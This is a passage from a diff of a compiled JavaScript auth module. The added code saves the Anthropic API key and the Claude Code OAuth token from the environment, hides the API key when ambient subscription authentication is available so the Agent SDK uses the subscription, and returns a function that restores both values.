const prevOauth = process.env.CLAUDE_CODE_OAUTH_TOKEN;
|
|
72
|
+
const restore = () => {
|
|
73
|
+
if (prevApiKey === undefined)
|
|
74
|
+
delete process.env.ANTHROPIC_API_KEY;
|
|
75
|
+
else
|
|
76
|
+
process.env.ANTHROPIC_API_KEY = prevApiKey;
|
|
77
|
+
if (prevOauth === undefined)
|
|
78
|
+
delete process.env.CLAUDE_CODE_OAUTH_TOKEN;
|
|
79
|
+
else
|
|
80
|
+
process.env.CLAUDE_CODE_OAUTH_TOKEN = prevOauth;
|
|
81
|
+
};
|
|
82
|
+
if (hasAmbientClaudeAuth()) {
|
|
83
|
+
// Prefer the subscription: hide any API key so the Agent SDK uses ambient auth.
|
|
84
|
+
if (process.env.ANTHROPIC_API_KEY === undefined)
|
|
85
|
+
return () => { };
|
|
86
|
+
delete process.env.ANTHROPIC_API_KEY;
|
|
87
|
+
return restore;
|
|
88
|
+
}
|
|
89
|
+
// No ambient → nothing to establish. Any existing ANTHROPIC_API_KEY stays exactly where it
|
|
90
|
+
// is and the Agent SDK picks it up; with no key either, the first SDK call surfaces the
|
|
91
|
+
// authoritative auth error, which is what `detectClaudeAuth` pre-empts on screen.
|
|
92
|
+
return () => { };
|
|
93
|
+
}
|
|
94
|
+
//# sourceMappingURL=auth.js.map
|